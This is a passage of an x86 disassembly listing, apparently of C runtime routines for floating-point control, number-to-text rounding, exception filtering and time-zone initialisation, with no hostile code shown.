loc_423FFB:				; CODE XREF: sub_423FAF+9j
					; sub_423FAF+18j ...
		or	eax, 0FFFFFFFFh

loc_423FFE:				; CODE XREF: sub_423FAF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_424001:				; CODE XREF: sub_423FAF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_424007:				; CODE XREF: sub_423FAF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_423FFE
sub_423FAF	endp


; =============== S U B	R O U T	I N E =======================================



sub_42401D	proc near		; CODE XREF: sub_421576+52p
		xor	eax, eax
		retn
sub_42401D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424020	proc near		; CODE XREF: sub_424055+Ep

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		fstcw	word ptr [ebp+var_4]
		push	[ebp+var_4]
		call	sub_42406B
		mov	esi, eax
		mov	eax, [ebp+arg_4]
		not	eax
		and	esi, eax
		mov	eax, [ebp+arg_0]
		and	eax, [ebp+arg_4]
		or	esi, eax
		push	esi
		call	sub_4240FD
		pop	ecx
		mov	[ebp+arg_4], eax
		pop	ecx
		fldcw	word ptr [ebp+arg_4]
		mov	eax, esi
		pop	esi
		leave
		retn
sub_424020	endp


; =============== S U B	R O U T	I N E =======================================



sub_424055	proc near		; CODE XREF: sub_421862+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		and	eax, 0FFF7FFFFh
		push	eax
		push	[esp+4+arg_0]
		call	sub_424020
		pop	ecx
		pop	ecx
		retn
sub_424055	endp


; =============== S U B	R O U T	I N E =======================================



sub_42406B	proc near		; CODE XREF: sub_424020+Cp

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	ebp
		test	bl, 1
		push	edi
		jz	short loc_42407C
		push	10h
		pop	eax

loc_42407C:				; CODE XREF: sub_42406B+Cj
		test	bl, 4
		jz	short loc_424083
		or	al, 8

loc_424083:				; CODE XREF: sub_42406B+14j
		test	bl, 8
		jz	short loc_42408A
		or	al, 4

loc_42408A:				; CODE XREF: sub_42406B+1Bj
		test	bl, 10h
		jz	short loc_424091
		or	al, 2

loc_424091:				; CODE XREF: sub_42406B+22j
		test	bl, 20h
		jz	short loc_424098
		or	al, 1

loc_424098:				; CODE XREF: sub_42406B+29j
		test	bl, 2
		jz	short loc_4240A2
		or	eax, 80000h

loc_4240A2:				; CODE XREF: sub_42406B+30j
		movzx	ecx, bx
		push	esi
		mov	edx, ecx
		mov	esi, 0C00h
		mov	edi, 300h
		and	edx, esi
		mov	ebp, 200h
		jz	short loc_4240DA
		cmp	edx, 400h
		jz	short loc_4240D7
		cmp	edx, 800h
		jz	short loc_4240D3
		cmp	edx, esi
		jnz	short loc_4240DA
		or	eax, edi
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D3:				; CODE XREF: sub_42406B+5Ej
		or	eax, ebp
		jmp	short loc_4240DA
; ---------------------------------------------------------------------------

loc_4240D7:				; CODE XREF: sub_42406B+56j
		or	ah, 1

loc_4240DA:				; CODE XREF: sub_42406B+4Ej
					; sub_42406B+62j ...
		and	ecx, edi
		pop	esi
		jz	short loc_4240EA
		cmp	ecx, ebp
		jnz	short loc_4240EF
		or	eax, 10000h
		jmp	short loc_4240EF
; ---------------------------------------------------------------------------

loc_4240EA:				; CODE XREF: sub_42406B+72j
		or	eax, 20000h

loc_4240EF:				; CODE XREF: sub_42406B+76j
					; sub_42406B+7Dj
		pop	edi
		pop	ebp
		test	bh, 10h
		pop	ebx
		jz	short locret_4240FC
		or	eax, 40000h

locret_4240FC:				; CODE XREF: sub_42406B+8Aj
		retn
sub_42406B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4240FD	proc near		; CODE XREF: sub_424020+23p

arg_0		= dword	ptr  4

		push	ebx
		mov	ebx, [esp+4+arg_0]
		xor	eax, eax
		push	esi
		test	bl, 10h
		jz	short loc_42410D
		push	1
		pop	eax

loc_42410D:				; CODE XREF: sub_4240FD+Bj
		test	bl, 8
		jz	short loc_424114
		or	al, 4

loc_424114:				; CODE XREF: sub_4240FD+13j
		test	bl, 4
		jz	short loc_42411B
		or	al, 8

loc_42411B:				; CODE XREF: sub_4240FD+1Aj
		test	bl, 2
		jz	short loc_424122
		or	al, 10h

loc_424122:				; CODE XREF: sub_4240FD+21j
		test	bl, 1
		jz	short loc_424129
		or	al, 20h

loc_424129:				; CODE XREF: sub_4240FD+28j
		test	ebx, 80000h
		jz	short loc_424133
		or	al, 2

loc_424133:				; CODE XREF: sub_4240FD+32j
		mov	ecx, ebx
		mov	edx, 300h
		and	ecx, edx
		mov	esi, 200h
		jz	short loc_424160
		cmp	ecx, 100h
		jz	short loc_42415D
		cmp	ecx, esi
		jz	short loc_424158
		cmp	ecx, edx
		jnz	short loc_424160
		or	ah, 0Ch
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_424158:				; CODE XREF: sub_4240FD+50j
		or	ah, 8
		jmp	short loc_424160
; ---------------------------------------------------------------------------

loc_42415D:				; CODE XREF: sub_4240FD+4Cj
		or	ah, 4

loc_424160:				; CODE XREF: sub_4240FD+44j
					; sub_4240FD+54j ...
		mov	ecx, ebx
		and	ecx, 30000h
		jz	short loc_424176
		cmp	ecx, 10000h
		jnz	short loc_424178
		or	eax, esi
		jmp	short loc_424178
; ---------------------------------------------------------------------------

loc_424176:				; CODE XREF: sub_4240FD+6Bj
		or	eax, edx

loc_424178:				; CODE XREF: sub_4240FD+73j
					; sub_4240FD+77j
		pop	esi
		test	ebx, 40000h
		pop	ebx
		jz	short locret_424185
		or	ah, 10h

locret_424185:				; CODE XREF: sub_4240FD+83j
		retn
sub_4240FD	endp


; =============== S U B	R O U T	I N E =======================================



sub_424186	proc near		; CODE XREF: sub_424225+48p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		push	20h
		cdq
		pop	ecx
		idiv	ecx
		push	1Fh
		mov	esi, eax
		mov	eax, [esp+8+arg_4]
		cdq
		idiv	ecx
		pop	ecx
		mov	eax, [esp+4+arg_0]
		sub	ecx, edx
		or	edx, 0FFFFFFFFh
		shl	edx, cl
		not	edx
		test	[eax+esi*4], edx
		jnz	short loc_4241CB
		inc	esi
		cmp	esi, 3
		jge	short loc_4241C6
		lea	eax, [eax+esi*4]

loc_4241B8:				; CODE XREF: sub_424186+3Ej
		cmp	dword ptr [eax], 0
		jnz	short loc_4241CB
		inc	esi
		add	eax, 4
		cmp	esi, 3
		jl	short loc_4241B8

loc_4241C6:				; CODE XREF: sub_424186+2Dj
		push	1
		pop	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------

loc_4241CB:				; CODE XREF: sub_424186+27j
					; sub_424186+35j
		xor	eax, eax
		pop	esi
		retn
sub_424186	endp


; =============== S U B	R O U T	I N E =======================================



sub_4241CF	proc near		; CODE XREF: sub_424225+57p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		idiv	ecx
		mov	esi, eax
		mov	eax, [esp+0Ch+arg_4]
		cdq
		idiv	ecx
		lea	edi, [ebx+esi*4]
		push	edi
		push	1Fh
		pop	ecx
		push	1
		pop	eax
		sub	ecx, edx
		shl	eax, cl
		push	eax
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		js	short loc_424221
		lea	edi, [ebx+esi*4]

loc_424208:				; CODE XREF: sub_4241CF+50j
		test	eax, eax
		jz	short loc_424221
		push	edi
		push	1
		push	dword ptr [edi]
		call	sub_425050
		add	esp, 0Ch
		dec	esi
		sub	edi, 4
		test	esi, esi
		jge	short loc_424208

loc_424221:				; CODE XREF: sub_4241CF+34j
					; sub_4241CF+3Bj
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_4241CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424225	proc near		; CODE XREF: sub_424380+81p
					; sub_424380+CCp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		lea	edi, [eax-1]
		push	20h
		pop	ecx
		and	[ebp+var_4], 0
		lea	ebx, [edi+1]
		push	20h
		mov	eax, ebx
		pop	esi
		cdq
		idiv	ecx
		push	1Fh
		mov	ecx, eax
		mov	eax, ebx
		cdq
		idiv	esi
		mov	eax, [ebp+arg_0]
		pop	esi
		push	1
		mov	[ebp+var_8], ecx
		lea	eax, [eax+ecx*4]
		mov	[ebp+arg_4], eax
		sub	esi, edx
		pop	edx
		mov	ecx, esi
		shl	edx, cl
		test	[eax], edx
		jz	short loc_424289
		inc	ebx
		push	ebx
		push	[ebp+arg_0]
		call	sub_424186
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_424286
		push	edi
		push	[ebp+arg_0]
		call	sub_4241CF
		pop	ecx
		mov	[ebp+var_4], eax
		pop	ecx

loc_424286:				; CODE XREF: sub_424225+51j
		mov	eax, [ebp+arg_4]

loc_424289:				; CODE XREF: sub_424225+41j
		or	edx, 0FFFFFFFFh
		mov	ecx, esi
		shl	edx, cl
		push	3
		pop	ecx
		and	[eax], edx
		mov	eax, [ebp+var_8]
		inc	eax
		cmp	eax, ecx
		jge	short loc_4242A9
		mov	edx, [ebp+arg_0]
		sub	ecx, eax
		lea	edi, [edx+eax*4]
		xor	eax, eax
		rep stosd

loc_4242A9:				; CODE XREF: sub_424225+76j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424225	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242B1	proc near		; CODE XREF: sub_424380+75p
					; sub_424380+B6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	esi
		push	3
		sub	ecx, eax
		pop	edx

loc_4242BF:				; CODE XREF: sub_4242B1+17j
		mov	esi, [eax]
		mov	[ecx+eax], esi
		add	eax, 4
		dec	edx
		jnz	short loc_4242BF
		pop	esi
		retn
sub_4242B1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242CC	proc near		; CODE XREF: sub_424380+5Fp
					; sub_424380+9Ep ...

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	eax, eax
		stosd
		stosd
		stosd
		pop	edi
		retn
sub_4242CC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4242D8	proc near		; CODE XREF: sub_424380+4Dp

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		xor	ecx, ecx

loc_4242DE:				; CODE XREF: sub_4242D8+12j
		cmp	dword ptr [eax], 0
		jnz	short loc_4242F0
		inc	ecx
		add	eax, 4
		cmp	ecx, 3
		jl	short loc_4242DE
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------

loc_4242F0:				; CODE XREF: sub_4242D8+9j
		xor	eax, eax
		retn
sub_4242D8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4242F3	proc near		; CODE XREF: sub_424380+C0p
					; sub_424380+DAp ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		push	20h
		mov	edi, [ebp+arg_0]
		pop	ebx
		or	esi, 0FFFFFFFFh
		cdq
		mov	ecx, ebx
		mov	[ebp+var_4], 3
		idiv	ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_4]
		cdq
		idiv	ecx
		and	[ebp+arg_4], 0
		mov	ecx, edx
		shl	esi, cl
		sub	ebx, edx
		not	esi

loc_424329:				; CODE XREF: sub_4242F3+58j
		mov	eax, [edi]
		mov	ecx, eax
		and	ecx, esi
		mov	[ebp+var_8], ecx
		mov	ecx, edx
		shr	eax, cl
		or	eax, [ebp+arg_4]
		mov	[edi], eax
		mov	eax, [ebp+var_8]
		mov	ecx, ebx
		add	edi, 4
		shl	eax, cl
		dec	[ebp+var_4]
		mov	[ebp+arg_4], eax
		jnz	short loc_424329
		mov	edi, [ebp+var_C]
		push	2
		pop	ebx
		mov	esi, edi
		push	8
		pop	ecx
		shl	esi, 2

loc_42435B:				; CODE XREF: sub_4242F3+86j
		cmp	ebx, edi
		jl	short loc_42436E
		mov	edx, [ebp+arg_0]
		mov	eax, ecx
		sub	eax, esi
		mov	eax, [eax+edx]
		mov	[ecx+edx], eax
		jmp	short loc_424375
; ---------------------------------------------------------------------------

loc_42436E:				; CODE XREF: sub_4242F3+6Aj
		mov	eax, [ebp+arg_0]
		and	dword ptr [ecx+eax], 0

loc_424375:				; CODE XREF: sub_4242F3+79j
		dec	ebx
		sub	ecx, 4
		jns	short loc_42435B
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4242F3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424380	proc near		; CODE XREF: sub_4244EC+Dp
					; sub_424502+Dp

var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		movzx	ecx, word ptr [eax+0Ah]
		mov	ebx, ecx
		and	ecx, 8000h
		mov	[ebp+arg_0], ecx
		mov	ecx, [eax+6]
		mov	[ebp+var_C], ecx
		mov	ecx, [eax+2]
		movzx	eax, word ptr [eax]
		mov	edi, [ebp+arg_8]
		and	ebx, 7FFFh
		sub	ebx, 3FFFh
		mov	[ebp+var_8], ecx
		shl	eax, 10h
		cmp	ebx, 0FFFFC001h
		mov	[ebp+var_4], eax
		jnz	short loc_4243ED
		lea	eax, [ebp+var_C]
		xor	esi, esi
		push	eax
		call	sub_4242D8
		test	eax, eax
		pop	ecx
		jnz	loc_4244AC
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx

loc_4243E5:				; CODE XREF: sub_424380+E4j
		push	2

loc_4243E7:				; CODE XREF: sub_424380+110j
		pop	eax
		jmp	loc_4244AE
; ---------------------------------------------------------------------------

loc_4243ED:				; CODE XREF: sub_424380+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_4242B1
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		add	esp, 10h
		test	eax, eax
		jz	short loc_42440E
		inc	ebx

loc_42440E:				; CODE XREF: sub_424380+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_424426
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		pop	ecx
		jmp	short loc_424462
; ---------------------------------------------------------------------------

loc_424426:				; CODE XREF: sub_424380+98j
		cmp	ebx, eax
		jg	short loc_424469
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242B1
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_4242F3
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424225
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		add	esp, 20h

loc_424462:				; CODE XREF: sub_424380+A4j
		xor	esi, esi
		jmp	loc_4243E5
; ---------------------------------------------------------------------------

loc_424469:				; CODE XREF: sub_424380+A8j
		cmp	ebx, [edi]
		jl	short loc_424495
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242CC
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4242F3
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_4243E7
; ---------------------------------------------------------------------------

loc_424495:				; CODE XREF: sub_424380+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_4242F3
		pop	ecx
		pop	ecx

loc_4244AC:				; CODE XREF: sub_424380+55j
		xor	eax, eax

loc_4244AE:				; CODE XREF: sub_424380+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_4244DD
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_4244E7
; ---------------------------------------------------------------------------

loc_4244DD:				; CODE XREF: sub_424380+14Ej
		cmp	edi, 20h
		jnz	short loc_4244E7
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi

loc_4244E7:				; CODE XREF: sub_424380+15Bj
					; sub_424380+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_424380	endp


; =============== S U B	R O U T	I N E =======================================



sub_4244EC	proc near		; CODE XREF: sub_424518+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_442528
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_4244EC	endp


; =============== S U B	R O U T	I N E =======================================



sub_424502	proc near		; CODE XREF: sub_424545+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_442540
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_424380
		add	esp, 0Ch
		retn
sub_424502	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424518	proc near		; CODE XREF: sub_42199B+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4244EC
		add	esp, 24h
		leave
		retn
sub_424518	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424545	proc near		; CODE XREF: sub_42199B+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4251F1
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_424502
		add	esp, 24h
		leave
		retn
sub_424545	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_424572	proc near		; CODE XREF: sub_4219D9+65p
					; sub_421ADD+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_4245AF
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_424595:				; CODE XREF: sub_424572+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_4245A1
		movsx	edx, dl
		inc	ecx
		jmp	short loc_4245A4
; ---------------------------------------------------------------------------

loc_4245A1:				; CODE XREF: sub_424572+27j
		push	30h
		pop	edx

loc_4245A4:				; CODE XREF: sub_424572+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_424595
		mov	edx, [ebp+arg_8]

loc_4245AF:				; CODE XREF: sub_424572+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_4245C8
		cmp	byte ptr [ecx],	35h
		jl	short loc_4245C8

loc_4245BB:				; CODE XREF: sub_424572+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_4245C6
		mov	byte ptr [eax],	30h
		jmp	short loc_4245BB
; ---------------------------------------------------------------------------

loc_4245C6:				; CODE XREF: sub_424572+4Dj
		inc	byte ptr [eax]

loc_4245C8:				; CODE XREF: sub_424572+42j
					; sub_424572+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_4245D2
		inc	dword ptr [edx+4]
		jmp	short loc_4245E4
; ---------------------------------------------------------------------------

loc_4245D2:				; CODE XREF: sub_424572+59j
		push	edi
		call	sub_41AFE0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_41CC90
		add	esp, 10h

loc_4245E4:				; CODE XREF: sub_424572+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_424572	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4245E9	proc near		; CODE XREF: sub_4219D9+3Fp
					; sub_421ADD+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42464D
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_4E0D20
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4256C2
		mov	dword_4E0D48, eax
		add	esp, 18h
		movsx	eax, byte_4E0D22
		mov	dword_4E0D40, eax
		pop	edi
		movsx	eax, word_4E0D20
		mov	dword_4E0D44, eax
		mov	dword_4E0D4C, offset dword_4E0D24
		mov	eax, offset dword_4E0D40
		pop	esi
		leave
		retn
sub_4245E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42464D	proc near		; CODE XREF: sub_4245E9+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_42469B
		cmp	ebx, edi
		jz	short loc_424694
		lea	edi, [ecx+3C00h]
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_424694:				; CODE XREF: sub_42464D+3Dj
		mov	edi, 7FFFh
		jmp	short loc_4246BC
; ---------------------------------------------------------------------------

loc_42469B:				; CODE XREF: sub_42464D+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_4246B3
		cmp	edx, ebx
		jnz	short loc_4246B3
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_4246FE
; ---------------------------------------------------------------------------

loc_4246B3:				; CODE XREF: sub_42464D+52j
					; sub_42464D+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_4246BC:				; CODE XREF: sub_42464D+45j
					; sub_42464D+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_4246D4:				; CODE XREF: sub_42464D+A6j
		test	ecx, esi
		jnz	short loc_4246F5
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_4246D4
; ---------------------------------------------------------------------------

loc_4246F5:				; CODE XREF: sub_42464D+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_4246FE:				; CODE XREF: sub_42464D+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_42464D	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_41DA29
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42470C	proc near		; DATA XREF: ___:00442168o
					; ___:off_4429C8o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_42472F
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_42472F
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_42472F
		jmp	sub_42255C
; ---------------------------------------------------------------------------

loc_42472F:				; CODE XREF: sub_42470C+Dj
					; sub_42470C+13j ...
		mov	eax, dword_4E0D50
		test	eax, eax
		jz	short loc_42474C
		push	eax
		call	sub_4247A8
		test	eax, eax
		pop	ecx
		jz	short loc_42474C
		push	esi
		call	dword_4E0D50
		jmp	short loc_42474E
; ---------------------------------------------------------------------------

loc_42474C:				; CODE XREF: sub_42470C+2Aj
					; sub_42470C+35j
		xor	eax, eax

loc_42474E:				; CODE XREF: sub_42470C+3Ej
		pop	esi
		retn	4
sub_42470C	endp

; ---------------------------------------------------------------------------
word_424752	dw 0C68h		; DATA XREF: ___:00429028o
; ---------------------------------------------------------------------------
		inc	edi
		inc	edx
		add	[eax+1EB8A3E8h], dl
		add	ah, byte ptr dword_4E0D50[ebx]
		retn
; ---------------------------------------------------------------------------
byte_424763	db 0FFh			; DATA XREF: ___:00429040o
		dd 4E0D5035h, 0B892E800h, 0C390021Eh

; =============== S U B	R O U T	I N E =======================================



sub_424770	proc near		; CODE XREF: sub_421DB1+6Bp
					; sub_4222C2+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 2600B5Ch
		test	eax, eax
		jz	short loc_424788
		xor	esi, esi

loc_424788:				; CODE XREF: sub_424770+14j
		mov	eax, esi
		pop	esi
		retn
sub_424770	endp


; =============== S U B	R O U T	I N E =======================================



sub_42478C	proc near		; CODE XREF: sub_4222C2+73p
					; sub_4222C2+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 28D0868h
		test	eax, eax
		jz	short loc_4247A4
		xor	esi, esi

loc_4247A4:				; CODE XREF: sub_42478C+14j
		mov	eax, esi
		pop	esi
		retn
sub_42478C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247A8	proc near		; CODE XREF: sub_4222C2+15Bp
					; sub_42470C+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		nop
		call	near ptr 2600ABCh
		test	eax, eax
		jz	short loc_4247BC
		xor	esi, esi

loc_4247BC:				; CODE XREF: sub_4247A8+10j
		mov	eax, esi
		pop	esi
		retn
sub_4247A8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42255C

loc_4247C0:				; CODE XREF: sub_42255C:loc_4225ADj
		push	0Ah
		call	sub_4235C9
		push	16h
		call	sub_425955
		pop	ecx
		pop	ecx
		push	3
		call	sub_41B7C2
; END OF FUNCTION CHUNK	FOR sub_42255C

; =============== S U B	R O U T	I N E =======================================



sub_4247D7	proc near		; CODE XREF: sub_422669:loc_4226A8p
		cmp	dword_4E0E10, 0
		jnz	short locret_4247EB
		call	sub_4247EC
		inc	dword_4E0E10

locret_4247EB:				; CODE XREF: sub_4247D7+7j
		retn
sub_4247D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_4247EC	proc near		; CODE XREF: sub_4247D7+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4E0D58, ebp
		mov	dword_442600, ebx
		mov	dword_4425F0, ebx
		call	sub_425AC7
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_424915
		push	offset dword_4E0D60
		nop
		call	near ptr 2890000h
		cmp	eax, ebx
